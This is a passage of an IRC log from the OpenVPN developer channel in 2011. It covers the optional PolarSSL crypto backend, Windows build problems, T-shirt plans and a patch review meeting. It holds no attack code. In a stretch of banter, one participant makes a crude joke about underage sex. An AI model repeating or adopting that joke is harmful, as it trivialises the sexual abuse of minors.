managerish things, like "can we release next week? no, everbody is waiting for windows builds!" 14:28 < novaflash> ...and then arguing ensues? 14:28 < novaflash> i'm just joking around a bit, but, it seems to me you guys show up, and an hour later tons of stuff has changed magically ;) 14:29 < novaflash> kudos though. openvpn is an awesome project. 14:30 <@andj> I'm quite happy it works this way :) 14:30 <@andj> I just showed up with a bunch of patches, and people were interested, so we're still working on getting them introduced 14:30 <@uuuppz> could I ask about the polar ssl move? 14:31 <@andj> sure 14:31 <@andj> it's not a move though 14:31 <@uuuppz> .. 14:31 <@andj> it's an either or thing 14:31 <@uuuppz> ok 14:31 <@uuuppz> whats the thinking behind that? 14:31 <@andj> default = OpenSSL 14:31 <@andj> and now there's an extra PolarSSL backend 14:31 <@andj> allowing future moves towards e.g. mac crypto 14:31 <+krzee> and its an awesome step twords the openvpn 3.0 roadmap... 14:32 <@andj> (can't recall it's name) 14:32 <@andj> and further, it modularises the crypto 14:32 -!- dazo is now known as dazo_afk 14:32 <@andj> making the overall codebase cleaner 14:32 <+krzee> ya, thats the major awesomeness right there! 14:32 < novaflash> this explanation i can understand 14:32 < novaflash> take note; if i say this, it means a miracle has happened and it should go on the wiki. 14:32 <@uuuppz> wots "mac crypto"? 14:32 <+krzee> novaflash, have you taken a peak at the ovpn3 roadmap? 14:33 <@uuuppz> macosx crypto api or something 14:33 <@uuuppz> ? 14:33 < novaflash> krzee; not yet but am curious now 14:33 <@andj> For my company PolarSSL makes the crypto easier to evaluate by the government 14:33 <+krzee> uuuppz, yes 14:33 < novaflash> uuuppz; looks plausible 14:33 <+krzee> novaflash, 1sec 14:33 <@uuuppz> ah I suppose 14:33 <@uuuppz> then windows could use 14:33 <@uuuppz> the ms crypto apis 14:33 < novaflash> uuuppz: no reason to go overboard!! 14:33 <@mattock> got to go, summary coming up tomorrow 14:34 <@uuuppz> well has the advantage of getting hardware acceleratoion 14:34 < novaflash> bye mattock 14:34 <@mattock> have fun! 14:34 <@mattock> bye! 14:34 <@andj> mac stuff: http://ludovicrousseau.blogspot.com/2011/08/mac-os-x-lion-and-openssl.html 14:34 <@vpnHelper> Title: Ludovic Rousseau blog: Mac OS X Lion and OpenSSL (at ludovicrousseau.blogspot.com) 14:34 < novaflash> uuuppz; oh didn't realize that. 14:34 <@cron2> uuuppz: in theory, why not. It would make packaging and cross-compiling way simpler... 14:34 <@andj> (just a random link) 14:34 <+krzee> novaflash, https://community.openvpn.net/openvpn/wiki/RoadMap 14:34 <@vpnHelper> Title: RoadMap – OpenVPN Community (at community.openvpn.net) 14:34 <@cron2> uuuppz: but it would need someone who really understands a) crypto and b) windows to hack on that 14:35 <@andj> and c) the combination 14:35 <@uuuppz> I think also its v3 14:35 <+krzee> basically, one day *everything* will be modular 14:35 <@andj> :) 14:35 < novaflash> krzee; thanks, checking 14:35 <@uuuppz> ok my question is answered :) 14:35 * cron2 heads to watching Navy CIS LA on TV... :-) g'night, folks 14:35 <+krzee> later cron! 14:35 <@d12fk-> ms crypto api is aweful 14:36 <+krzee> d12fk-, i know *i* wouldnt choose to use it 14:36 <@andj> nn 14:36 <+krzee> but once crypto is modular, if someone codes it, others can choose it 14:36 < novaflash> i wonder what truecrypt and such use for crypto? 14:36 <@andj> trucrypt uses a lot of hardware specific stuff 14:36 <@andj> remember seeing some assembly in there 14:37 < novaflash> oh that's pretty hefty 14:37 <@andj> but haven't looked at the code in a while 14:37 <@andj> but basically, they mostly use their own crypto stuff 14:37 < novaflash> andj; off-topic; truecrypt - safe or no? 14:37 <@andj> novaflash: no idea 14:37 <@andj> I don't know who writes 14:37 <@andj> it 14:37 < novaflash> ah alright. 14:38 <@andj> because they're anonymous 14:38 <@andj> which is strike 1 in my book 14:38 < novaflash> for 'not safe', i assume you mean 14:38 <@andj> But it's open source, so lots of people have looked at it (in theory) 14:38 <@andj> and it's used a lot 14:39 < novaflash> hm openvpn moving to multithreading - awesome 14:39 <@andj> So I think it should be ok, but I've never looked into it very deeply 14:42 < novaflash> hm rate limiting sounds interesting 14:43 < novaflash> i sometimes see people drop in and ask about how to limit a vpn client's speed 14:43 < novaflash> quite a roadmap guys. 14:45 <@uuuppz> andj: I'm personally interesting in getting an AES-NI enabled build but wot the ms crpyto would give would be access to dedicated crypto hardware (I presume) 14:45 <@uuuppz> totally ot best filename in checkin in a while "FoulSurfaceWaterOptionAccessor.designer.cs" 14:45 <+krzee> novaflash, ya when ovpn 3 becomes more than an idea it will be tons of work for the devs, but soooooo cool for the users 14:45 <@uuuppz> :) 14:45 <+krzee> and then less work for the devs afterwords 14:46 <+krzee> if you're into voip you could think of ovpn2 as asterisk and ovpn3 as freeswitch 14:46 <@andj> not sure about the dedicated hardware 14:46 <@uuuppz> I think its a bit unfair to compare asterisk 14:46 <@uuuppz> sry 14:46 <@uuuppz> to compare ovpn to asteirsk 14:46 <@andj> and I'd love to see a more staggered approach towards 3.0 14:47 <@uuuppz> asterisk is a lot more weird :) 14:47 <@andj> so modularise the code bit-by-bit 14:47 <@andj> in different versions :) 14:47 <+krzee> uuuppz, asterisk is monolithic, freeswitch is modular 14:47 <@uuuppz> I know :) 14:47 <+krzee> asterisk and ovpn2 have pieces of code that even the devs are scared to touch 14:48 <@uuuppz> freeswitch also use xml :) 14:48 <+krzee> (which is the reason ovpn2 cant run on multiple ports / protocols on a single daemon) 14:50 <@andj> ah, I've figured out the first patch I wasn't sure about 14:50 <@andj> :) 14:51 <@uuuppz> krzee: ok makes sense - also slightly scaring consdering ovpn is a barrier on my network :) 14:52 <+krzee> well the part i was referring to is just what opens the ip:port:proto 14:52 <+krzee> its also a barrier on all my networks, i trust the hell out of it 14:52 < novaflash> krzee; unfortunately i've never made any headway into voip myself. am interested but don't have the equipment and so far hardly a userbase to justify sticking money and time into it. 14:52 <+krzee> in fact i trust it more than any other daemons i have listening, and i use it to protect anything that public doesnt need access to =] 14:54 < novaflash> krzee; am i understanding you correctly in that you have a gateway set up with a public ip and running openvpn on that gateway? and no additional firewall? 14:55 <+krzee> i do have a server or 2 like that... where ovpn is the only daemon listening 14:55 <+krzee> (to the public ip) 14:55 < novaflash> i'm kind of paranoid and have a firewall up, behind that a separate box with openvpn, and behind that a separate network... so basically double natted access to the internet for the virtual machines running behind openvpn 14:55 <+krzee> then my daemons are running on the vpn ip 14:55 < novaflash> krzee; ah i see. efficient setup 14:56 <+krzee> a firewall wouldnt hurt too, but as it is i go to work, go home and work on my business, then code scripts for my job, then go back to work 14:56 <+krzee> with occasional sleep 14:56 <+krzee> so i definitely fall behind on some things i should do ;] 14:57 < novaflash> krzee; i understand that.. it's 10pm here and i have to write invoices now for the work i've done today 14:57 < novaflash> so i better snap to it 14:57 < novaflash> but this is all so interesting! 14:59 <+krzee> we'll be here, go make that $ ;] 14:59 < novaflash> you guys are awesome. bbl. 15:00 <@andj> heading off as well, speak to you guys soon 15:01 <+krzee> same 15:22 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:22 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:56 <+ecrist> ping krzie I replied to your pm 16:07 <+krzie> im here now 16:07 <+krzie> i must have missed it on krzie 16:08 <+krzie> err on krzee 16:08 < novaflash> ping reply; 640 seconds 16:08 < novaflash> give or take a second 16:08 <+krzie> how many laps around the world is that? 16:09 < novaflash> well light can go round the planet twice in a second, i believe it was, around the equator 16:09 < novaflash> so about 1300? 16:10 < novaflash> hang on 16:10 < novaflash> i got it wrong 16:10 < novaflash> that doesn't sound right at all ;) 16:10 < novaflash> about 7.5 times around the world in one second 16:11 < novaflash> so about 4800 times. 16:11 < novaflash> superman has a lot of catching up to do to reverse time 23:24 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] --- Day changed Fri Sep 02 2011 01:18 -!- dazo_afk is now known as dazo 02:03 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 02:03 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:17 <@dazo> I wonder how dutch this really is ... http://www.youtube.com/watch?v=44yO9QzUzF8 (andj?) 02:17 <@vpnHelper> Title: Nederlenderen (Kalfsborst) - The Dutchman - YouTube (at www.youtube.com) 02:32 <@mattock> ok, everybody go to http://www.ooshirts.com/ and see what kind of shirts we'd like 02:32 <@vpnHelper> Title: Custom T-Shirts - Discount T-Shirt Printing - Design T-Shirts (at www.ooshirts.com) 02:50 <@dazo> mattock: I have no idea what the different styles is/does ... except pocket in front (which I find silly) or long sleeves (which is not much useful in the north) or the V-shirts (which I personally find somewhat "strange" on such t-shirts with logos) ... so I'm in favour of something traditional (I know, probably boring), but with a colour which can fit a logo 02:52 <@dazo> black or "dark chocolate" perhaps? 02:53 <@dazo> or navy? 02:58 <@mattock> I did some tests using the "Instant quote" feature... 100 T-shirts with 2-color imprint on front and back costs around $500-600 02:59 <@mattock> the most basic (white + 2-color imprint on front) costs $500 actually 02:59 <@mattock> I'll check what's the limit for Francis, but I doubt we need 100 T-shirts 02:59 <@mattock> dazo: I would also prefer the "boring" model... 03:00 <@cron2> boring, navy 03:00 <@cron2> or black 03:00 <@dazo> hehe ... hard-core people here :) 03:02 <+krzie> booya my cell is on my voip darknet 03:02 <+krzie> just hopped off a secure call to california 03:02 <@dazo> cool! 03:03 <+krzie> ya man im pumped up, tomorrow i will go get a data plan for my cell 03:03 <@dazo> :) 03:05 <@uuuppz> I hate mornings! 03:10 <@mattock> I think we need a vote or we'll argue like there's no end 03:14 <@dazo> mattock: hmm ... well, cron2 and I are pretty much agreeing ... you haven't said your prefs in regards to colour ... lets hear what ecrist and krzie thinks, and lets see what happens there? 3 of 5 likes the "boring" style, just colour left ... 2 votes for black or navy already 03:14 <@mattock> I think we also need to mention this on forums and mailinglists 03:14 <@mattock> once I know how much money we got at our disposal 03:16 <@dazo> I wouldn't bring such discussions to mailing list ... lets rather let the company guys weight in, as it's their company logo which will be used ... just come with a statement that t-shirts will come (if it will) 03:16 <@dazo> I'm sure the company can even sell them, for a little sum as well ... for most people on forums/ml 03:18 <@mattock> dazo: re: selling them... I'm 99% sure Francis would not do that, which is fine 03:18 <@dazo> yeah, just a thought 03:18 <@cron2> mattock: maybe you should start selling T-Shirts, to bring in money to hire a second programmer, so James is less swamped... 03:18 <@cron2> *duck&run* 03:18 <@dazo> cron2: +1 03:18 <@mattock> cron2: +1 :D 03:19 <@uuuppz> lol 03:20 <@uuuppz> u'll need to sell a lot of tshirts 03:20 <@dazo> if the shirt is cool enough ... you can charge almost whatever! 03:20 <@dazo> no matter if it's crap ... I mean, just look at iPhones ......... 03:20 * dazo runs and hides 03:21 <@mattock> dazo: but iPhones _are_ crap :D 03:21 <@uuuppz> mattock++! 03:21 <@dazo> hear hear! 03:21 <@mattock> although, I'd like try out an iPhone to see _how_ crappy it is 03:22 <@mattock> maybe it's possible to make it ok if you jailbrake it 03:23 <@dazo> mattock: I think it might become more useful if you apply this to it: http://www.idroidproject.org/ 03:23 <@vpnHelper> Title: Main Page - iDroid Project (at www.idroidproject.org) 03:23 <@dazo> (but I hear power management stinks at the moment) 03:23 <@dazo> (and gfx acceleration) 03:42 <@mattock> these sprints are great, so easy to write the summary :) 03:55 <+krzie> im more of a black or white shirt guy 03:56 <+krzie> and yes, iphones suck 03:56 <+krzie> and dazo, i run 2 mirrors for the ix project, http://www.projectix.org/ 03:56 <@vpnHelper> Title: iX Project - Current Release: 1.10 SHR (at www.projectix.org) 03:59 <+krzie> even tho i dont have a compatible idevice, lol 04:00 <+krzie> re shirts: im also down with navy... 04:00 <@dazo> krzie: cool! iX sounds even better than iDroid! 04:22 <@dazo> [OT] http://www.youtube.com/watch?v=WnzlbyTZsQY 04:22 <@vpnHelper> Title: AI vs. AI. Two chatbots talking to each other - YouTube (at www.youtube.com) 04:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 04:39 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:39 -!- dazo is now known as dazo_afk 04:45 -!- dazo_afk is now known as dazo 07:04 <+ecrist> sup d00ds? 08:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has left #openvpn-devel ["Leaving"] 08:20 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:20 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:21 <@dazo> mattock: got any idea when you can try to do a windows build soonish? I'm kinda curious how well that works nowadays ... 08:21 * cron2 too 08:22 <@dazo> mingw32 builds in Linux doesn't work too well for me ... 08:22 <@dazo> configure: error: struct sockaddr_in6 not found, needed for ipv6 transport support. 08:22 <@dazo> (by running mingw32-configure) 08:25 <@dazo> (might be that my mingw32 is lacking ipv6 support though) 09:12 <@cron2> dazo: that's "transport"... 09:12 <@dazo> yeah, I know :/ 09:12 <@cron2> (and I think it's a configure bug) 09:13 <@cron2> ((and I don't think we should be checking for this in configure at all, as we know that sockaddr_in6 is available on all platforms we support)) 09:13 <@cron2> but I said that before 09:13 <@dazo> hmmm ... 10:14 -!- d457k [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 10:14 -!- mode/#openvpn-devel [+o d457k] by ChanServ 10:14 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Read error: Connection reset by peer] 10:18 -!- dazo is now known as dazo_afk 10:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: mattock] 12:25 -!- d457k is now known as d12fk 13:18 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 13:19 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 13:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:24 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Ping timeout: 264 seconds] 19:24 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has quit [Ping timeout: 264 seconds] 19:25 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 19:25 -!- mode/#openvpn-devel [+o d12fk] by ChanServ --- Day changed Sat Sep 03 2011 10:15 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 12:34 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:49 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:49 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Sun Sep 04 2011 02:04 -!- novaflash [~notme@openvpn/user/novaflash] has quit [Read error: Connection reset by peer] 03:57 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 09:58 -!- rommel092079 [~genlime@71-94-146-81.static.mtpk.ca.charter.com] has joined #openvpn-devel 09:58 -!- rommel092079 [~genlime@71-94-146-81.static.mtpk.ca.charter.com] has left #openvpn-devel [] 12:21 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 12:25 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 12:25 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:11 -!- Netsplit *.net <-> *.split quits: jamxNL 14:21 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 21:01 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Read error: Connection reset by peer] 23:07 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 268 seconds] 23:17 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:17 -!- mode/#openvpn-devel [+v krzie] by ChanServ 23:23 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] --- Day changed Mon Sep 05 2011 00:06 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:06 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:13 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:14 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:18 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:21 <@mattock> guizmovpn sources are now here: http://code.google.com/p/guizmovpn/ 02:21 <@vpnHelper> Title: guizmovpn - OpenVPN for iOS - Google Project Hosting (at code.google.com) 02:21 <@mattock> not many general-purpose changes to stock OpenVPN I think 02:22 <@mattock> maybe worth a quick look, though 02:51 -!- d12fk is now known as d457k 02:52 -!- d457k is now known as d12fk 02:54 <@d12fk> [Fri. 02.09.2011 15:22] <dazo> configure: error: struct sockaddr_in6 not found, needed for ipv6 transport support. 02:54 <@d12fk> I've sent a patch for that one haven't I? 02:54 <@d12fk> the one with the mixed case header 03:07 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 03:08 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 03:10 -!- dazo_afk is now known as dazo 03:25 <+krzie> dazo, did i mention i found out what causes the seamingly random MULTI error where my device sends to vpn with eth ip? 03:25 <+krzie> i have seen people with the problem from time to time, couldnt figure it out til it bit me 03:27 <+krzie> if i didnt mention it, it was that my device had things in the LAN routing through it before the vpn was up and before the NAT rule was made, so unless the TCP sequences started over (restarting whatever was trying to send) it would use the nat rule 03:27 <+krzie> would not* 03:31 <@mattock> d12fk: I recall seeing a patch like that 03:33 <@mattock> not 100% sure though 03:54 <@d12fk> hm the patch has been merged by dazo wednesday 04:56 * dazo sees he has lost some history :) 05:12 <@vpnHelper> RSS Update - testtrac: Fixed management interface bug where >FATAL notifications were <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=c21b73f251f76e84f789484587e7c82735977549> 06:39 <@mattock> dazo: http://communities-dominate.blogs.com/brands/2011/08/coining-term-elop-effect-when-you-combine-osborne-effect-and-ratner-effect.html 06:39 <@vpnHelper> Title: Communities Dominate Brands: Coining Term: "Elop Effect" when you combine Osborne Effect and Ratner Effect (at communities-dominate.blogs.com) 06:40 <@dazo> [OT] Have a look at Google today :) 06:44 <@dazo> mattock: good article! and a very good points! 06:44 <@mattock> yep 06:45 <@mattock> which makes one wonder _why_? 06:45 <@mattock> didn't he think about that at all? --- Log closed Mon Sep 05 06:46:48 2011 --- Log opened Wed Sep 07 20:44:56 2011 20:44 -!- ecrist [~ecrist@openvpn/community/support/ecrist] has joined #openvpn-devel 20:44 -!- Irssi: #openvpn-devel: Total of 15 nicks [8 ops, 0 halfops, 2 voices, 5 normal] 20:44 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 20:44 -!- Irssi: Join to #openvpn-devel was synced in 0 secs 20:44 <+ecrist> raar 20:45 <+ecrist> stupid freenode --- Day changed Thu Sep 08 2011 01:40 <@cron2> if we're having a meeting tonight, I won't be able to make it 02:10 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 264 seconds] 02:30 <@cron2> (but then, most important topic right now is "review andj's crypto stuff" and that's for james anyway) 02:41 -!- dazo_afk is now known as dazo 03:17 <@d12fk> i'd like feedback for my patches as well, iff james is there 03:18 <@cron2> yeah, sorry, those as well (generically speaking: those bits that are important right now are some that I can't really review properly) 03:21 <@d12fk> jamxNL: wouldn't that mean that any dev needed to use github as well to make this work 03:21 <@cron2> .oO(one git to bind them...) 03:21 <@dazo> :) 03:22 * dazo would like a more standalone option, which we can control however it suits us most 03:29 -!- novaflash [~notme@openvpn/user/novaflash] has joined #openvpn-devel 04:21 <@dazo> cron2: would you have time to very quickly eyeball one patch ... I don't remember what I was supposed to fix in a patch I seem to not yet have submitted ... I think I got some input from someone, but all forgotten by now 04:21 <@dazo> http://www.fpaste.org/aozQ/ 04:22 < novaflash> dazo; that inspires confidence ;) 04:22 <@dazo> heh ... well, as long as someone can tell me if something should be improved or not ... I know if I can submit it instantly or fix it first :) 04:24 < novaflash> it's just funny to see you say that on the channel; i don't remember what i was supposed in something that i haven't done yet. i know someone talked about it, but i forgot. 04:24 < novaflash> .= to do 04:25 <@dazo> hehe ... that's me in a nutshell :) Well, I've had an insane workload this summer, which also included moving from one country to another one ... In such periods, I'm chaotic :) 04:25 < novaflash> wow big change. 04:25 < novaflash> i hope you've moved to a 'better' country ;) 04:25 <@dazo> but that's the beauty of open source ... there's always someone who can double check your work :) 04:26 <@dazo> heh ... well, something is better, something is worse ... so all in all, it's probably the same :) All countries have their struggles and their charming sides 04:28 < novaflash> in other words 04:28 < novaflash> there's weed for everyone, but there are taxes on everything. 04:28 <@dazo> perhaps :) 04:45 <@uuuppz> dazo: where are ye going from and to? 04:45 <@dazo> .cz -> .no 04:45 < novaflash> http://hell.no/ 04:45 <@vpnHelper> Title: hell.no (at hell.no) 04:46 < novaflash> the domainname is a wonderful find ;) 04:46 <@dazo> LOL 04:46 <@uuuppz> :) 04:47 <@uuuppz> isn't .no colder and darker than .cz? 04:47 <@uuuppz> and isn't winterer coming? 04:47 <@dazo> details ;-) 04:47 < novaflash> he's just there for the underage sex 04:47 <@dazo> I'm having a warm flat, computers and Internet ... what else do I need? Darkness? Perfect! 04:47 <@uuuppz> mali 04:47 < novaflash> well you do have a point there - scandinavia is pretty decent with fast internet access. 04:48 <@dazo> novaflash: then .no is definitely not the place! 04:48 < novaflash> dazo; just skip over the border to .se 04:48 <@dazo> nah 04:48 * dazo prefers computers 04:48 < novaflash> that's an odd fetish 04:48 <@uuuppz> yeh 04:49 <@uuuppz> I was trying to think of appropriate words to respond to that. I think I'm out. 04:49 <@uuuppz> :P 04:49 < novaflash> ha ;) 04:49 < novaflash> a few days ago there were some folks asking about Douwe Egberts coffee 04:49 < novaflash> possibly a bit more than a few days ago 04:49 <@uuuppz> oh god 04:49 <@uuuppz> thats not good coffee 04:49 <@uuuppz> ! 04:50 < novaflash> i have no clue, i never drink coffee 04:50 < novaflash> guess what i walked into last monday? 04:50 < novaflash> http://178.84.117.247/douwe.jpg 04:50 <@uuuppz> a giant coffee bean 04:50 <@uuuppz> ? 04:50 < novaflash> close. 04:51 < novaflash> it was a half seacontainer full of coffee 04:51 * dazo need to run out for some hours 04:51 < novaflash> adios dazo 04:51 <@uuuppz> later 04:52 -!- dazo is now known as dazo_afk 05:02 <@cron2> dazo: I think I acked that already (on the list). It might have come from krzee or ecrist 05:02 <@cron2> ISTR that we had a longish discussion about coding style on that :-) 06:00 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:24 <+ecrist> what did I do? 07:38 <@mattock> ecrist: probably something naughty, if you have to ask :D 07:41 <+ecrist> heh 07:46 -!- dazo_afk is now known as dazo 07:49 <@mattock> who can make it to the meeting today? 07:53 * dazo cannot :( 08:01 <+ecrist> I can, but I'm generally just a spectator 08:08 * cron2 not 08:09 -!- Netsplit *.net <-> *.split quits: @dazo, jamxNL 08:09 -!- Netsplit over, joins: dazo 08:09 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:28 <@mattock> ok, I'll ask if James can make it today 08:28 <@mattock> I assume andj will be available? 08:30 <@dazo> Without promising anything, I think andj said he would be available today ... unless my memory fails me completely 08:34 <@mattock> I think so, too 09:39 <@d12fk> mattock: if james is there i'll be too 09:40 <@d12fk> at least if review of the proxy stuff is on the agenda 10:18 -!- Netsplit *.net <-> *.split quits: @d12fk- 10:30 -!- jamxNL [jamx@2a01:4f8:140:5243::1234] has joined #openvpn-devel 10:40 <+krzee> a conversation about coding style involving me... this must have been the easy-rsa bash quoting... 10:47 <+ecrist> krzee - os x 10.7 has a bridge adapter 10:47 <+ecrist> :D 10:58 <+krzee> although im indifferent, im happy that you like it ;] 11:04 <@andj> dazo, mattock: I'll be here 11:06 <+krzee> ill be lurking =] 11:07 <@andj> :) 11:32 <@mattock> ok, james will attend 11:32 <@mattock> I'll setup the topic page and send an announcement 11:33 <@mattock> andj: ssl library separation again? 11:33 <@mattock> if we get them done, it's only polarssl addition and a few others 11:33 <@andj> sure, hopefully a little post-polarssl addition as well 11:33 <@andj> polarssl addition is really homework 11:34 <@andj> as it's too much to properly do in meeting form 11:34 <@dazo> mattock: if possible, try to squeeze in some of d12fk patches as well ... he said he would be available too ... but agreed, andj stuff is really second in line too 11:34 <@mattock> dazo: ah, ok 11:35 <@dazo> mattock: and when you have time, I'd appreciate if we could try another windows build too 11:35 <@dazo> to see how well master behaves now 11:37 <@mattock> dazo: I'll try building during the meeting, no biggie... 11:37 <@dazo> cool, thx! 11:38 <@mattock> dazo: do these need discussion: http://thread.gmane.org/gmane.network.openvpn.devel/4883 11:38 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 11:39 <@dazo> mattock: not right now, d12fk has already reviewed most of it, and provided a feedback ... the submitter should probably be asked to resubmit stuff with fixed patches 11:40 <@mattock> does the topic page look sane: https://community.openvpn.net/openvpn/wiki/Topics-2011-09-08 11:41 <@vpnHelper> Title: Topics-2011-09-08 – OpenVPN Community (at community.openvpn.net) 11:42 <@andj> yay, the CrAPI 11:42 * andj only learned about that nickname a few days ago, forgive him 11:43 <@dazo> mattock: makes sense ... if the auto-proxy patches takes time, feel free to take parts of it next time 11:44 <@dazo> (just so that polarssl also have some movement) 11:44 <@mattock> ok, good 11:44 <@andj> dazo: I checked the "weird code" from last time 11:44 <@andj> and it's ok 11:44 <@andj> I just removed some dead code, which showed up in the diff of diffs 11:44 <@dazo> andj: ahh! that explains it 11:44 <@dazo> okay, then it's good 11:45 <@andj> basically, https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8#L0L1709 was a near-direct clone of the OpenSSL code, but only got called with SSL_FILETYPE_PEM 11:45 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 11:46 <@andj> so it could be reduced to https://github.com/andj/openvpn-ssl-refactoring/commit/df9b63c5c0b3333d7171e76dd3dab87b9274cbf8#L2R351 11:46 <@vpnHelper> Title: Commit df9b63c5c0b3333d7171e76dd3dab87b9274cbf8 to andj/openvpn-ssl-refactoring - GitHub (at github.com) 11:47 <@dazo> sounds good, even though it's too much to dig into right now ... but explanation sounds good :) 11:47 <@andj> yeah, but since you were missing the meeting, I thought I'd explain :) 11:47 <@dazo> thx :) 11:48 * dazo need to run again ... got one more precious hour with work to take care of :) 11:48 <@andj> hf :) 12:16 -!- d457k [~heiko@exit0.net] has joined #openvpn-devel 12:16 -!- mode/#openvpn-devel [+o d457k] by ChanServ 12:17 <@d457k> no james, no meeting?! 12:17 <@d457k> or was it 18h utc? 12:18 <@andj> 18h utc 12:47 -!- dazo is now known as dazo_afk 12:55 <@mattock> 17.55.13, UTC 12:59 <@andj> haha, two minutes early! 12:59 <@andj> wel one, perhaps 12:59 <@andj> *well 13:02 <@mattock> dazo: python build works using a fresh clone of openvpn.git ("master" branch) 13:02 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:02 <@andj> evening 13:02 <@mattock> so, I can finally start creating proper Windows snapshots 13:02 <@mattock> hi jamesyonan 13:02 <@jamesyonan> hi 13:02 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2011-09-08 13:02 <@vpnHelper> Title: Topics-2011-09-08 – OpenVPN Community (at community.openvpn.net) 13:03 <@mattock> dazo suggested starting with d12fk's patches (on top) 13:04 <@andj> cool 13:04 <@mattock> d12fk: there? 13:04 <@d457k> jepp 13:05 <@mattock> ah, d457k atm :) 13:05 <@mattock> jamesyonan: can you take a look at http://thread.gmane.org/gmane.network.openvpn.devel/4941 13:05 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:05 <@d457k> yes, i'm still in the process of moving to a bouncer =) 13:07 <@andj> don't see a problem with that patch on gcc, but not sure what other compilers do with %p 13:08 <@d457k> %p is a windows feature so there souldn't be problems 13:08 <@andj> ok :) 13:08 <@jamesyonan> yeah, I'm wondering that as well -- is %p a printf standard? 13:08 <@d457k> of the c runtime to be precise 13:08 <@d457k> no but a common extension 13:08 <@d457k> however the code is windows only 13:09 <@d457k> i think %p is sus or s.th. similar 13:09 <@d457k> iso doesn't have it 13:10 <@andj> for what it's worth: http://stackoverflow.com/questions/2369541/where-is-p-useful-with-printf 13:10 <@vpnHelper> Title: c++ - Where is `%p` useful with printf? - Stack Overflow (at stackoverflow.com) 13:10 <@jamesyonan> does glibc support it? 13:10 <@andj> it seems to be common 13:11 <@andj> jamesyonan: yes 13:11 <@d457k> jamesyonan: yes 13:11 <@andj> lol 13:11 <@andj> well timed 13:11 <@d457k> yeah 13:12 <@andj> so ack 13:12 <@jamesyonan> I don't see %p mentioned on the Mac OS X manpage for printf 13:12 <@jamesyonan> but I see it for Linux 13:13 <@d457k> jamesyonan: teh code is within #ifdef win32 13:14 <@andj> http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man3/printf.3.html 13:14 <@vpnHelper> Title: Loading (at developer.apple.com) 13:14 <@andj> p The void * pointer argument is printed in hexadecimal (as if by `%#x' or `%#lx'). 13:14 <@andj> so it should be ok 13:14 <@jamesyonan> sure, that's fine then if it's windows-only 13:15 <@andj> what's next? 13:15 <@mattock> http://thread.gmane.org/gmane.network.openvpn.devel/4937 ? 13:15 